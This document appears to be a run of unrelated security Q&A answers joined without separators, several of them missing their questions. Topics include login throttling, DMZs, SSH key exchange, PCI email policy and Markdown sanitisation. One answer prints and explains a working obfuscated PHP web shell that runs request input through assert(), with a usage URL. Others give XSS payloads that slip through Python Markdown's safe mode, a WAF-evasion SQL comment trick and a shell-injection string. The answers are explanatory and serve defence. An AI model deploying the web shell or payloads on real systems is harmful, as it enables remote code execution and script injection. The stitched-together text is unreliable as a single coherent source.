REST Services: Limiting the concurrency of a login endpoint

It is a bit difficult to judge if your scheme is reasonable or too much because it fails to provide any information on what the application does or what the value of the resource being protected is. Your security should be matched to your risk analysis i.e. the likelihood of attackers and the consequences should an attack be successful.

From your description, my main concern would be that you have built in a facility which would assist an attacker in performing a denial of service attack on your site. This may or may not be an issue, depending on your site and how the services are used. For example, if the site is one where users first authenticate and then receive some sort of token which they use for subsequent connections and if that token has a reasonable lifetime, then potential DoS issues may not be a significant problem (assuming most users are already authenticated and are able to continue to use the service). On the other hand, if the token has a short life time and users authenticate quite frequently, then this could be a problem.

From your description, it isn't clear that this is a 'real' threat your trying to protect against or a theoretical attack i.e. an idea someone has had and has decided to protect against. Do you have any evidence or reason to believe the site is likely to be targeted by a botnet style attack as you describe? While the attack type your describe does exist, a vast number of sites/services out there never see such attacks or seldom see them. It this is the situation for your site, it is likely that all this additional complexity brings you is possible inconvenience for legit users who forget their password and added complexity in your system, which has even more potential to create problems or hide vulnerabilities. Increased complexity can easily lead to increased false positives, which may well create frustration with your users and result in lost business.

As an example, just recently I assisted a company with diagnosis of a problem they had with their web application. Users were reporting increased frustration with lost sessions and having to re-authenticate too frequently. The problem turned out to be related to a security feature built into the system.

The application used a JSON web token to manage authentication/authorisation. The user would initially connect and provide their username/password etc and get a token which they could use for subsequent connections. The token had a 24 hour lifetime. All that was fine.

For added security, the token recorded the user's IP address and on each access tot the services, after decrypting the token, the service would check that the IP address recorded in the token was the same as the IP address the connection was coming from. On the face of it, this seemed reasonable. The app was mainly used from inside the corporate network. The company had a large site.

A recent network upgrade at the company resulted in the installation of approx 3000 new wirless access points and a new configuration of the wired and wireless network so that it used 802.1x across wired and wireless networks and a move from assigning IP address based on geographical location to one based on user role. One of the advantages of the new setup is that you could move around the organisation and keep your wireless connection active. As you move between access points, you may get a new connection and that new connection may have a new IP address, but to the end user, it looks like one connection. You can probably see where the problem was.

Due tot he change in IP address, the auth token no longer passed the IP test. The problem was an assumption that the user would retain the same IP  address the the lifetime of their connection. However, there was also another more subtle issue. As this application is used on an internal network, which is fairly well locked down with quite a reasonable level of security, the IP check was unlikely to be actually improving security at all. The idea of the IP check was to add additional protection against session hijacking by someone who was able to steal the users token. Although this can be a real risk in some environments, in this specific environment, this was a low risk and the protection was not of any real benefit. Worse still, the data which could be accessed by the application had low value - it was information useful to staff, but was not particularly sensitive and the consequences for unauthorised access were low. This was an example of a security measure being implemented which was based on a theoretical threat rather than a real threat in the environment.

The point is, you need to assess whether your control is really addressing an actual threat or whether it might be a reasonable idea which isn't of any real benefit to your environment and could potentially have a negative impact on legit users. Is the type of attack you describe and are protecting against a real threat in your environment? What would be the consequence if that type of attack succeeded? Will the potential impact on legit users be acceptable to the business? If you enforce strong passwords and use good hashing techniques, how likely is a brute force attack likely to work anyway? I suspect that your measures may be excessive and possibly not providing any real benefit, but that depends on the application.


It's an obfuscated web shell that allows remote code execution.

The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this:

http://example.com/shell.php?e=phpinfo()

assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval() to prevent malware detection.

Here is the snippet reformatted and commented:

<?php
// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything
    ${'a'};
}
?>

  How does ${'a'} lead to code execution?

It doesn't. $b($_REQUEST['e']) is where the assertion runs. The code works without ${'a'}.

  Is the injected code sent by POST request?

$_REQUEST allows the parameter to be sent via both GET and POST.


Connecting trusted and untrusted networks

So what you're kind of describing is a DMZ or demilitarized zone. This is a common and widely accepted way for hosting quite a few different services. Such as Web Servers, Mail servers, FTP servers in a safe way.

Essentially for your particular use case and from what you've suggested perhaps using a Dual Firewall architecture DMZ with an FTP server in it, would be the best way to go about this

Because the DMZ acts as a buffer zone between the local area network and the Internet, it is a less secure network than the internal network.

For this reason, there are added security measures that are taken for a DMZ host which include, disabling unnecessary services, running the necessary services with the privileges reduced, eliminating any unnecessary user accounts, and making sure the DMZ has the latest security updates and patches.

The added benefit of the second firewall is that as you know the company from which you're expecting data, you can whitelist them for access  to the firewall. Which reduces the risk of an unpatched SFTP server being exploited. Although not fully, as the external company can still be used to launch the exploit.


Should we block all plaintext authentication and require authentication over an encrypted channel?

The vulnerability is not in allowing plaintext authentication, but in using plaintext authentication. For instance, an open telnet service on a Unix system does not make the Unix system weak -- the people who actually use that service do make it weak.

Human nature being what it is, when a service it available, people will use it, so this is a good reason to close unprotected gates on a general basis. However, on my servers where all users are competent and trustworthy (because there is only one user, me, and I trust all my personalities), I occasionally find it worth to leave open some weak gates, because they could be useful in some situations where urgency bypasses the security safeguards: for instance, I could log in through an unprotected telnet because I trust myself for doing so only in somewhat safe situations (e.g. from a direct ethernet link) and to apply mitigation measures (such as changing my password immediately afterwards -- not a perfect measure, I know, but emergencies are emergencies).

(Your question tends to assume that the problem comes from WiFi, which is a dubious statement: believing cables to be safe, and, even more, the Internet to be free of eavesdropping beyond the WiFi access points, looks like an overoptimistic fantasy to me.)


scp/sftp - how to securely send a file without needing a client privkey?

You probably mixing up a bit what is happening between client and server when they communicate over encrypted channel (ssh or tls it doesn't matter that much - the pattern anyway involves two kind of ciphers).

In essence, there are two kinds of cryptographic constructs that used: symmetric and asymmetric ciphers (I would omit describing other nitty-gritty details involving integrity of a data etc).

What is generally happening, is the following (example ssh with key verification and password log in disabled):

Asymmetric crypto

Client has a private key (usually a file called id_rsa) and server has a corresponding public key (located in a known_hosts file).
When client want to ssh into a particular host it establishes a TCP connection to it sending it's own username. Server matches a corresponding public key from known_hosts to this particular username and sends some kind of challenge back to the client.
This challenge is solvable only with a corresponding private key that client should have on it's machine. Client solves the challenge and sends the results back to the server which verifies the solution and lets user log in (or rejects the client if the solution is not correct - which means the private key is wrong).

After that point, if the user was granted an access, symmetric crypto starts to play it's role.

Symmetric crypto

User was authenticated by a server and session key is generated on server side which then send to a client encrypted with it's public key (again from a known_hosts).
This session key is a secret key of a some much faster then the asymmetric crypto symmetric cipher (i.e. AES). This key then is used to encrypt all the traffic between both sides as it was securely passed to a client and both sides now has that secret known only to them.
After the end of a session (user logs out) the session key plays no role and is not used for any other session (it's generated randomly and a probability that the same key would be generated twice is negligible).

It's a very simplified description but it would at least make things a little bit more clear.

What happens is that asymmetric crypto only authenticates a user and helps to exchange secret key in a secure way. All the communication then is encrypted with the same session secret key of some symmetric cipher.

As of your question about omitting storing a secret on a client and using some secure one-way transfer:

ssh is a protocol of communication and the described above pattern is a part of it's 'mode of operation'. It can't be changed (correct me if I'm wrong)
if you want just to push some data to a remote host without even authenticating the sender (which is strongly discouraged) you can figure out something like a shell script that encrypts data with some public key (client side, gpg is a way to go) and sends it over a telnet to a server which decrypts it with it's private key (again gpg).

Though the above described pattern could be made secure with enough amount of effort (hmac, digests, signing etc) it really makes little sense to bother with all of this, as you still have to store secret somewhere (this time it's on a server side, or even on both sides if something like hmac is used).


As joe says, there is no real security benefit to this. It is pure security theater. I'd like to highlight this from the documentation:

  If you enable this and need to send the value of the CSRF token with an AJAX request, your JavaScript must pull the value from a hidden CSRF token form input on the page instead of from the cookie.

The purpose of the HttpOnly flag is to make the value of the cookie unavailable from JavaScript, so that it can not be stolen if there is a XSS vulnerability. But the CSRF-token must somehow be available so it can be double submitted - thats the whole point with it, after all. So Django solves this by including the value in a hidden form field. This negates the whole benefit of HttpOnly, since an attacker can just read the value of the form field instead of the cookie.


So if I was you I would start relatively simply with some VMs and a host machine.

Personally I use VMWare workstation but other virtualization products are possibilities.

If you've got a decent enough machine (e.g. 8GB RAM, Quad-Core Sandy/Ivy bridge, fast disks), I'd recommend keeping the Host OS clear of lab tools or target Apps, as re-building VMs is an awful lot easier than physical kit.  As to Host OS, I'd go with whatever you're most comfortable with as long as it runs your virtualization software of choice.

Then have a tools VM, and some targets.  I'd start with Kali for the Tools VM and then have a selection of targets to attack.

A good place to start is the post that @hamza-dzcyberdev mentioned in his comment.  Also you could look at pentesterlab who look to have some good free materials.

Once you've got the basics hanging you could start to introduce the physical systems (e.g. firewalls, routers) that you can't easily get Virtual versions of.


Is it possible for a web page to log your keystrokes?

It is possible to implement a keylogger in javascript but it's scope is limited to the web page it loaded from because javascript limits the impact of itself to the web page. Sometimes there are exploits that enable an attacker to break out of the js sandbox and can affect a wider scope.

Anyway js can be included by an attacker through XSS or a MITM attack to capture what the vicitim is typing. So an attacker could target your credentials or the webapps chat (if there is one) for example.

This is why they tell you not to include your js unencrypted. It enables MITM attackers to inject js into an otherwise encrypted connection.

If your intereseted in how this works in detail you can have a look here.


If settings are default (ie, not using reversible encryption for password storage), then the user would have to log in to decrypt.  In fact, if the user was ever to have their password administratively changed, then the files would become unrecoverable as the key would be lost.


Recommended usage. The short answer is: Use markdown(untrusted, safe_mode=remove, enable_attributes=False).

Make sure you have an up-to-date version of the Markdown library, as older versions have some security problems.

You could also run the output through a HTML sanitizer, like HTML Purifier.

Rationale.  It is a good idea to disable enable_attributes.  While the latest development versions of the Python markdown library will disable enable_attributes by default if you set safe_mode, earlier versions did not do so.  Consequently, just setting safe_mode is not enough on most versions of the Markdown library.  If you just set safe_mode, the result is insecure:

import markdown
>>> markdown.markdown("{@onclick=alert('hi')}some paragraph", safe_mode=True)
u'
some paragraph
'

At the moment, the fixes are only present in git.  At the time of this writing, the latest released version of Python Markdown (2.1.1) remains vulnerable unless you explicitly set enable_attributes=False.  Therefore, it is plausible that many systems currently using Python Markdown may be vulnerable.

The documentation could be better at warning users of Markdown about these pitfalls.  It says things like "You may also want to set enable_attributes=False when using safe_mode", without disclosing that failing to do so creates an XSS hole with all but the very latest versions of the library.  Later versions of the documentation say that setting enable_attributes "could potentially allow an untrusted user to inject JavaScript into your documents"; it would be clearer to say that setting enable_attributes does enable users to inject Javascript into your documents and is thus highly insecure if the Markdown might come from an untrusted source.

Doubts.  That said, I'm not 100% certain whether the result will be secure, even when using it as recommended above.  The developers have made comments like the following:

  "safe-mode" was a poor name choice that we continue to use for backward comparability (old code still works with our newer versions). What it really is is a no-markup mode. In other words, it is just a way to disallow raw html and really doesn't guarantee safety.

Those kinds of comments are a bit scary.

In earlier versions of the Python Markdown library, its HTML sanitization looks a bit fragile to me, so I'm not sure whether I'd trust earlier versions of the Markdown library, regardless of what flags are passed.  Consider the following:

>>> markdown.markdown("[Example](javascript://alert%28%22xss%22%29)", safe_mode=True)
u'
Example
'

Allowing javascript:-style URLs through Markdown's processing seems to me like a pretty dubious design decision.  It feels like this is within a hop, skip, and a jump of XSS.  All that's missing is a way to break out of the C++-style comment (the //), and it is game over.  For instance:

>>> markdown.markdown("[Example](javascript://\nalert%28%22xss%22%29)", safe_mode=True)
u'
Example
'

How confident should I be that no browser will execute that Javascript?  I dunno, but it is not giving me warm, fuzzy feelings.  If it is secure, it is just blind luck.

Fortunately, the very latest released version of Markdown appear to do stricter filtering of script if you set enable_attributes=False.  But make sure you set enable_attributes=False, otherwise Markdown falls back to the fragile HTML sanitization found in earlier versions, and I'm not confident in the security of that scheme.

What not to do. The following is not secure: markdown(escape(untrusted)).

You might think that first escaping the input would remove all of the HTML and make this usage safe.  In fact I have seen this used in some systems and recommended by some.  However, it is actually unsafe, since escaping is not enough to make URLs safe.  For instance, this usage of Markdown can be defeated by "[clickme](javascript:alert%28%22xss%22%29)".  In general, escaping the input to Markdown is not the right approach; the right approach is to invoke Markdown in the appropriate way (and possibly apply a HTML filter to its output as well, if you want extra protection).

If you use Django. If you use Django, the following should be a safe way to use Markdown:

{{ untrusted | markdown:"safe" }}

As of Django 1.4, this is safe.  when you pass the "safe" argument, Django now has special support to set safe_mode and disable enable_attributes.  But make sure to update to Django 1.4 or later; in earlier versions, this usage was insecure.


While copying data from any email client to a USB device what residue information is left on the PC?

Assuming that the PC was "clean" (and that's a big "if"), then it partly depends on the Web browser. The file, while being downloaded, first goes through the buffers (in kernel RAM) associated with the socket. Then it is copied into the address space of the process which does the download, i.e. the Web browser. That browser then decides to have it written into some sort of file; this again entails sending the data into kernel space. The data goes to the file cache (the nominally unused physical RAM; the kernel uses it as temporary storage for data read from and written to disk), and finally to the disk which has been designated as target.

Internet Explorer, apparently (I just tried with IE 8.0), when downloading a file, will ask for the destination, and, crucially, will not download anything until the destination is chosen. When the data is obtained, it is sent directly to that disk. Firefox, on the other hand, begins the download as soon as you click on the link, and proceeds while you choose the destination. The file is temporarily written in an area meant for temporary files (on Linux it would be /tmp, but on Windows there is a per-user folder for that, see this page).

Therefore, with some Web browsers, a copy of your file made it at least temporarily to the hard disk of the computer. That file should have been deleted, but deletion does not imply wiping the data out from the physical medium; it just marks the used sectors as "reusable".

Another way your data may have leaked is through virtual memory. When the OS is short on physical RAM, it moves some of the data which is in RAM, into some swap area on the disk. It is hard to control which part of the RAM is used for that; the OS kernel will try to do that only with least recently used RAM, but this is heuristic. Since, with all browsers, the downloaded file makes it to the browser RAM space at some point, parts of the file data may have been copied into the swap files, thus to the physical medium.

To sum up, it is entirely possible that parts of your files still lurk on the hard disk of the machine you used. Some Web browsers make it more probable than others (note that while the Firefox behaviour implies more leaks, it also improves user experience, so this is not a case of obvious stupidity on the part of the Firefox developers).

The PC was not clean anyway. Or at least you should not assume it was clean. Machines which are left to usage to use by anybody, including ability to plug USB devices, might be riddled with malware. Such malware could be a key logger, and that key logger now has your... Gmail password ! At which point your files are not safe at all.

To make it simple: by accepting to use a netcafe machine for confidential data, you are already betting that you will get lucky, and the machine is "safe to use". Betting that whatever traces of your data remain on the machine will not be harvested by evil people, is not a significantly riskier bet. By using the machine in the first place, you pushed your luck quite far; pushing it a little bit further should not be that much an additional concern.


Use ssh to forward a port securely to the machine running MySQL, using a key for authentication. To make this work, you need to not use per-IP authentication, as thge IPs are changing.  Attacks on ssh will then trigger your fail2ban system, while authenticated connections won't.


Are there flaws in this simple key exchange?

You send K xor R. Your partner sends back R. The attacker sees both values; he can thus compute (K xor R) xor R (the XOR of the two values he saw), and the R cancel out: the result is K. So, weak. Terminally.

If you want something more robust, you'll need an extra tool, e.g. a cryptographic hash function like SHA-256. For instance, you still send K xor R and your partner sends back SHA-256(R). This one works provided that R was chosen randomly and uniformly. Think about it; the point of such exercises is to get some intuitive understanding of what is going on. Here, your partner is showing his knowledge of R by sending SHA-256(R), but without revealing anything about R (mostly because SHA-256 is resistant to preimages -- yeah, I know I am taking a bit of rhetoric shortcut here). Note, however, that this scheme is vulnerable to dictionary attacks in case the key K is a password (i.e. something from a set which is small enough to be exhaustively walked through).

Other variants with a hash function are possible; they will all be weak with regards to dictionary attacks, though (you need PAKE to fix that, and this means a lot more mathematics).

Your other scenario is what basically a stream cipher is. It can be strong, if done properly: use a robust algorithm, a large enough "seed" (which is, really, a key), and never ever reuse the same stream for two distinct messages.


Is malware in $RECYCLE.BIN (deleted files) dangerous?

Can applications in recycle bins be executed?

Depends on the method. Clicking no, certain Winapi calls yes.

But ... this doesn't matter. Not being an PE executable is no guarantee that it's not malicious. Thinks like (malicious) audio files, VBA macros, JS in the browser, etc., rely on bugs in the program that reads them (like some specific media player or MS Word) and/or insufficient sandboxing.

It's very well possible that there is malware that uses bugs in the special storage system of Windows recycle bin.


problem upgrading openssl on ubuntu servers

Besides the fact that this topic is not security related, but related to Ubuntu administration, you should really use a package manager, like apt-get or aptitude.


Penetration testing's terms of agreement template

SANS has a pretty nice white paper on the subject here.

GIAC also has white paper geared towards managment of pen test which covers some of it here.

I would keep in mind that you may need to have both general and specific legal agreements depending on the scope and offerings you provide. Your focus should be on the laws pertaining to doing an engagement, the risks associated to both you and the client which may come up during an engagement, and having the right personal approving your work.


Injecting data into the Windows entropy pool

None that I know of, exactly. CryptGenRandom (the legacy CryptoAPI CSPRNG function) allows callers to supply additional entropy, but it's not even clear if this affects future calls to CryptGenRandom by the same process, and it's fairly clear it doesn't affect other processes.

BCryptGenRandom (the next-gen replacement for the old CryptGenRandom) used to allow the caller to supply addition entropy in much the same way, using the BCRYPT_RNG_USE_ENTROPY_IN_BUFFER flag, but that is no longer supported as of Win8. Even in Vista and Win7 (and Server 2008), though, it is unclear whether the data supplied with that flag only modified the data returned by that call, or that call and future results to calls from the same process, or future results for all callers.


Why does my Chrome still trust Thawte certificate?

Weird phased rollout mechanism.
Their rollout mechanism was supposed to be "in v70 it STOPS working!". But now they seem to have settled on something like "in v70 it will show a warning in the dev console and stop working for SOME (tm) users! And we will phase it in completely when we feel like it."
Details here:

https://twitter.com/hanno/status/1052556264994004993 , https://archive.fo/wFAGm
https://sites.google.com/a/chromium.org/dev/Home/chromium-security/symantec-legacy-pki , https://archive.fo/TtE7Z


How do we call a website that perform things without doing in requests?

Your browser makes at GET request for that page, which loads a combination of HTML and JavaScript.  The JavaScript function start_update is called nearly immediately:
window.setTimeout('start_update()', 100);

start_update in turn calls upd():
upd();

And upd() applies encryption if there is new text, doesn't if there isn't, and calls itself either way:
window.setTimeout('upd()', 100);

So upd() is effectively a busy loop that will call itself every 100 milliseconds, allowing the page to update itself "magically", all through the JavaScript running in your browser.
This isn't really AJAX because the JavaScript isn't making XMLHttpRequest calls and isn't getting text, JSON, or XML from any other source.  It's simply an HTML page with embedded JavaScript which runs in a busy loop rather than being event-driven.


A gratuitous ARP is basically an ARP response that never had a request for it and is how most ARP spoofing programs work.

Normally you send an ARP request and wait for the ARP response. A gratuitous ARP is when you just send your details even though there was no request. These can happen legitimately when say your IP or MAC address change so you can update the ARP tables of other hosts.

When you send an ARP request to 10.0.2.14 and receive no response you're basically saying "oh well I didn't get a response so here are my details for you to get in touch with me" and sending the gratuitous ARP.


Can you make a device certificate expire after the root certificate?

Yes this is possible. The expiration of the issuer certificate is not part of the certificate itself. It is possible to renew the issuer CA and keep the issued certificate valid as long as the same key pair and subject and subject key identifier in the new issuer certificate gets used.

But note that creation or use of certificates with an expiration that much in the future is not recommended since this it is likely that the used keys sizes and/or algorithms are no longer safe enough after that long time.


Is malware on an air gapped computer a requirement to communicate over side-channels?

Or are there any side channel attacks that don't require malware on
  air gapped pc?

Of course.

Let me just quote from Wikipedia as simple source:

  General classes of side channel attack include:

  Cache attack — attacks based on attacker's ability to monitor cache accesses made by the victim in a shared physical system as in virtualized environment or a type of cloud service.
  Timing attack — attacks based on measuring how much time various computations (such as, say, comparing an attacker's given password with the victim's unknown one) take to perform.
  Power-monitoring attack — attacks that make use of varying power consumption by the hardware during computation.
  Electromagnetic attack — attacks based on leaked electromagnetic radiation, which can directly provide plaintexts and other information. Such measurements can be used to infer cryptographic keys using techniques equivalent to those in power analysis or can be used in non-cryptographic attacks, e.g. TEMPEST (aka van Eck phreaking or radiation monitoring) attacks.
  Acoustic cryptanalysis — attacks that exploit sound produced during a computation (rather like power analysis).
  Differential fault analysis — in which secrets are discovered by introducing faults in a computation.
  Data remanence — in which sensitive data are read after supposedly having been deleted. (i.e. Cold boot attack)
  Software-initiated fault attacks — Currently a rare class of side-channels, Row hammer is an example in which off-limits memory can be changed by accessing adjacent memory too often (causing state retention loss).
  Optical - in which secrets and sensitive data can be read by visual recording using a high resolution camera, or other devices that have such capabilities (see examples below).

Eg. getting information by measuring power consumption (of the intended non-malicious software) doesn't need malicious software in any way.


What full-disk secure erase solutions exist for SSDs (OS X)?

It's notoriously difficult to erase data from SSD drives, as explained here:
http://arstechnica.com/security/2011/03/ask-ars-how-can-i-safely-erase-the-data-from-my-ssd-drive/

The overwriting procedure that works so well for HDDs doesn't work as well for SSDs for a couple of reasons. One is that many SSDs have extra storage space that's not accessible by users. This is called over-provisioning, and some deletion tools won't give you access to this area (if you can go through the BIOS and uninstall your drive, you can get full access). While the research paper noted above that overwriting did obscure all of the data in some of the SSDs they tested, some still had old readable data on them after twenty overwrites. This can happen because of firmware bugs, and unless you're able to physically confirm that this procedure works on your SSD of choice, it's not reliable enough for a real secure erase.
Likewise, it is almost impossible to securely delete an individual file on an SSD, because the way that SSDs write and delete files is scattered, and a user has no control over what an SSD is doing where.

For this reason, it looks like Apple has disabled its secure erase support for SSD. This source has some more up-to-date information on securely erasing from SSDs:
http://www.zdnet.com/article/how-to-securely-erase-hard-drives-hdds-and-solid-state-drives-ssds/
That source will tell you how to use the manufacturer utilities to securely erase your SSD.


The IBM wrote an article on hardening PostgreSQL: Total security in a PostgreSQL database. Should work as a check-list if to apply a bit another way of thinking about problem (switch on hacker mind).

From Owasp there are two papers, focusing on this field: OWASP Backend Security Project Testing PostgreSQL, that describes SQL Injection techniques within the scope of PostgreSQL and OWASP Backend Security Project PostgreSQL Hardening, that describes requirements for secure PostgreSQL setup.

There is also a book, called "SQL Injection Attacks and Defense". Well, the title itself describes the contents. (There is possible to see what is included in.)

PS: probably, it might be interesting to read also about Security-Enhanced PostrgreSQL: http://wiki.postgresql.org/wiki/SEPostgreSQL


How do I migrate my private key from one device to another in instant messaging app?

If you have a mobile application, you can store the private key securely using Android or iOS secure storage.

On your application, you could create a configuration option to export the private key, encrypting the key and showing a QR-Code or something like that. You then would scan the code on the other device, enter the password to decrypt, and import.


Is it possible for a hacker to bypass upload php file?

A lot can still go wrong given an application that contains this small snip of code.

An attacker could use a local file include vulnerability to obtain
remote code execution by putting PHP code within the metadata of
an uploaded image.
An attacker could potentially write an image with a valid file
extension in any directory using directory traversal.
In older versions of PHP an attacker could use a null byte to
control    the extension by truncating the filename,  but FILE
functions will escape null bytes as of PHP 5.3.4.


Does Hibernate feature pose any security threat?

This is what Microsoft has to say about it:

Disable sleep
BitLocker unlock methods for operating system drives—such as TPM
integrity checks or requests for a PIN or startup key before allowing
access to the drive—are only used when a computer is turned on, is
restarted, or comes out of hibernation. If a computer enters sleep
mode after a period of inactivity instead of entering hibernation, the
drive stays unlocked. Therefore, for added security, it is recommended
that sleep mode be disabled by using Group Policy.

Bolds mine. Implied is the fact that resuming from hibernation is as secure as cold booting.
You're probably dealing with an overzealous IT dept, they misunderstood the issue, or they have other reasons not related to disk encryption for the change.
Regarding the more general cuestión of why hibernate might get disabled, you'd have to ask your IT dept. At this point it's not even clear it was done for security-related reasons. Perhaps they were experiencing issues with it on some hardware and disabled it company-wide for uniformity.
Another reason could be they're aiming to disable fast startup for reasons.
Security-related, perhaps not all workstations use FDE or secure boot, and in that case hibernation could be a problem.
We could speculate for all eternity, but unless your IT dept roams SecSE, you won't get an actual answer.


As a QSA, here is how I would expect you to handle this situation:

Have a policy, that is strictly enforced, stating that no card data
is to be sent or received via email.
Have a procedure in place to handle incidents of unsolicited
emails containing card data. This should include a process for securely
deleting the offending email, and notifying the customer of how to
properly transmit the payment information.
Implement a method to validate that the policy and procedures are
being followed. This can include:

Periodic scanning of your email server for credit card data.
Implement a DLP solution that will monitor your email server for offending data and redact it or not allow it to be sent or stored.

point #3 above is important when considering your PCI assessment. Your QSA will validate the scope of your CDE at the start of the assessment. Part of the scoping exercise may include cardhold data discovery scans, and an email server is a common offender when it comes to storing card data. If the QSA discovers card data on the server then it will be considered part of the CDE. This might cause some problems if you weren't expecting it to be included in the assessment, so the system might not be up to PCI standards. This also makes it difficult to prove that you are following your own policy.  A policy alone isn't enough to protect you from PCI requirements. It must be enforced as well.


Risks of Microsoft Remote Desktop access behind a secure VPN

It's strict, but I wouldn't say it's overbearing.

Let's say there are two ends of the pool, with corporate networks.  On the shallow end it's wide open, with no internal firewalls between desktops and servers.  You can go to any app, any server, any port, from anywhere.  On the deep end, networks are segmented and access controls enforced.  Only Finance can go to the Finance servers.  Everybody can go to port 443 on the Wiki server, only the admin network can go to port 22.  Things like that.

In all but the shallowest networks, remote access users are considered the least trusted.  Any filters in place will be in place for them.  The company doesn't have physical control over those systems, so they don't get the fullest set of access.

Allowing RDP to desktop users is a way of negating that control.  Someone on an untrusted remote PC who can RDP to an internal desktop gains, in essence, trusted access.  And that can be a big problem.  I can remember how Xerox took themselves off the Internet for a week back in the mid-90s because someone broke into an engineer's home in order to sit in front of his PC which had ISDN access to the Xerox internal network.  Took them a week to clean up, and they just shut off the pipes until it was clean.

Now, you'll argue, the fact that secondary credentials is necessary to RDP after you've VPNed is a compensating control.  That's a true point.  But the fact of the matter is, if ACLs of some sort are in place to limit access from VPN users, then RDP is a way to circumvent those limits.  That's why you run into this sort of policy with some regularity.


It's pretty well explained in this blog post how it works. In essence, if you can construct such a URL query to split individual parts of a subsequent SQL query in more query parameters (thus the fragmentation part of it's name), the WAF (Web Application Firewall) might have problems determining it's supposed to drop the request, or whatever it's setup to do when such an attempt is detected.

One way of exploiting this is by a adding a begin comment /* at the end of one input parameter, and end comment */ at the beginning of the next one. WAF will consider the two parameters as acceptable, if it's not looking at the whole picture (what SQL syntax comes out as the product of all input parameters).

This might result in a part of SQL code between the two input parameters to be ignored by the RDBMS's SQL engine. If the ignored (commented out) part happens to be filtering SQL query results (say, ... WHERE user=$param1 and start_date>=$param2... can then result in ... WHERE user=$param1/* and start_date>=*/$param2..., providing for a vector to exploit possible $param1 values WAF will consider as acceptable, and also ignore other filters up till the point where $param2 value is used), the end product of such an exploit can disclose information the developers never intended to be disclosed.

HPP attacks, on the other hand, are trying to take advantage of differences between the interpretation of input parameters by WAF and the request handling web application, when a single parameter name is repeated many times. For example, let's consider this URL query to be parsed and analyzed by both: ?q=acceptable+request&q=not+acceptable+request. WAF might take the first input parameter as the one to analyze and ignore the next one, while web application might do exactly the opposite.

Note that I'm only using URLs as an example, and the input parameters can be requested at any other part of a HTTP request headers (cookies, POST or GET request fields,...), depending on where they're later parsed from by web application.


Are alphanumeric strings safe to pass to a bash script?

Tl,DR: Yes. But beware that you misunderstand what's going on and this may be a source of vulnerabilities.

An argument of a program can be an arbitrary byte string that doesn't contain a null byte. The limitation with null bytes comes from the operating system. Depending on your programming language and its standard library, a null byte may be rejected, or it may be passed to the operating system which will truncate the argument at the first null byte.

Bash has no limitations on the content of arguments or more generally on the content of string variables, other than null bytes, which won't reach it anyway. However, beware that when using a locale with a multibyte character encoding such as UTF-8, string operations may give unexpected results on operands that contain byte sequences that aren't valid in the chosen encoding. ASCII strings (containing only code points 1–127) are always safe. Strings containing arbitrary sequences of non-null bytes are safe as long as you set LC_ALL=C or LC_CTYPE=C before manipulating them.

In bash, remember to always use double quotes around variable expansions and command substitutions (i.e. "$foo", not $foo). When you pass an argument to a program that takes command line options following Unix conventions, pass -- before the first non-option argument. See Why does my shell script choke on whitespace or other special characters? and Security implications of forgetting to quote a variable in bash/POSIX shells.

There is absolutely no problem with passing the argument <user_input&&malicious_command> to a bash script. That's a perfectly ordinary string. There is, however, a problem if you interpolate this string into a shell script. Passing an argument to a program and interpolating a string into a script are completely different operations. If you call your program through a function that wraps around exec (perhaps combined with fork as in spawn), this passes a list of strings as argument to the program and no interpolation is done. On the other hand, functions like system and popen take a single string as argument and they call a shell on that string. If you build this string by combining the name of a program and the argument(s) that you pass to this program, you need to take be careful with the content of the arguments. This has nothing to do with the program that you're calling, bash string or otherwise: the problem is that the intermediate shell parses the string. It's about how you call the program, not about the program you call.

If you call exec("foo.bash", my_string), everything is fine as long as my_string is a character string that doesn't contain nulls. If you call system("foo.bash " + my_string) (where + is string concatenation), this only works to pass the value of my_string as an argument if it doesn't contain characters that have a special meaning to the intermediate shell created by system.

The following characters have a special meaning to Unix shells, at least in some circumstances: null bytes, tab, newline (LF), space, !"#$&'()*;<=>?[\]^`{|}~. In particular, strings containing only digits, letters and - are safe. A safe way to protect a character string that doesn't contain null bytes is to replace each single quote ' by the 4-character sequence '\'' and surround the result with single quotes '…'. Note that this applies to Unix systems (including Linux, macOS, etc.), not to Windows which has a completely different shell. Note that in this paragraph, “safe” solely refers to the shell; as mentioned above, strings beginning with - are problematic when you invoke typical programs that take options following a Unix convention.

Avoid using functions that spawn an intermediate shell if you can. To call an external program, prefer functions that take the path to the program and the list of arguments separately.


Is it required to end the session after closing the browser without logging out?

Browsers do not normally listen to any port so there are no port to send the SYN-ACK to. The browser is also often behind a NAT so you cannot even reach any port on the computer the browser is running on except when answering requests. Having an open AJAX request or using web-sockets is of course possible but will be costly in server requirements.

Browsers deletes the session cookies when the browser is closed, if you close it normally and not only kills the process, so the session is permanently lost on the client side when the browser is closed.

The normal option is to set a relatively short session time for your server to close the session when there are no activity on the client. You could also set this really short if javascript is enabled and send a keep-alive request to keep the session open as long as the site is open in the browser.

There are some other means you could use to secure stale sessions, the most simple is to have an onBeforeUnload listener to send a logout request when the visitor leaves your site, this do of course also require that javascript is enabled in the browser. One other thing you could do is to keep track of IP and fingerprint from the browser and connect it to the session so you can test if the browser having the sessionId do not change.

If you have a site with high enough security requirements for you to have to worry about this you should be more concerned about what happen when the user navigate away from the site or close the tab and leaves the browser open


Nessus Scan Port ID mapped to Metasploit Vulnerability exploits

In terms of finding the corresponding exploits for Nessus output, there's a couple of good techniques.

Firstly, Nessus puts a flag in each report item for "exploitable" which indicates that there is exploit code available.

Once you've got that you can use the CVE number which will likely be listed in the finding (or the MS number for Microsoft vulns) as they're unique to a specific issue, this lets you find the exploit quickly, if it exists in Metasploit.

As to automatic exploitation, such a tool could be written, but it would be a bad idea in most cases as exploits have differing levels of reliability and in a number of cases they risk crashing the host or the service that they're exploiting, so a safer way is to analyze your options once you know what exploits will work on a target host and pick the one with the best Metasploit ranking, which should give you a more reliable exploit.


Does using a router connected to an unsecured WiFi network add security?

If you connect your router to the hotels network, two things can happen:

Network Bridge

In this case, your device behaves as a bridge to the actual network. This doesn't really add any security at all, as it just passes packages into the network. Any device connecting to your bridge effectively connects to the original hotel network.

NAT mode

This is more likely going to happen and probably what you are asking about. Your router creates a private network, your devices can connect to. The router controls this network which is different from the hotel's network.

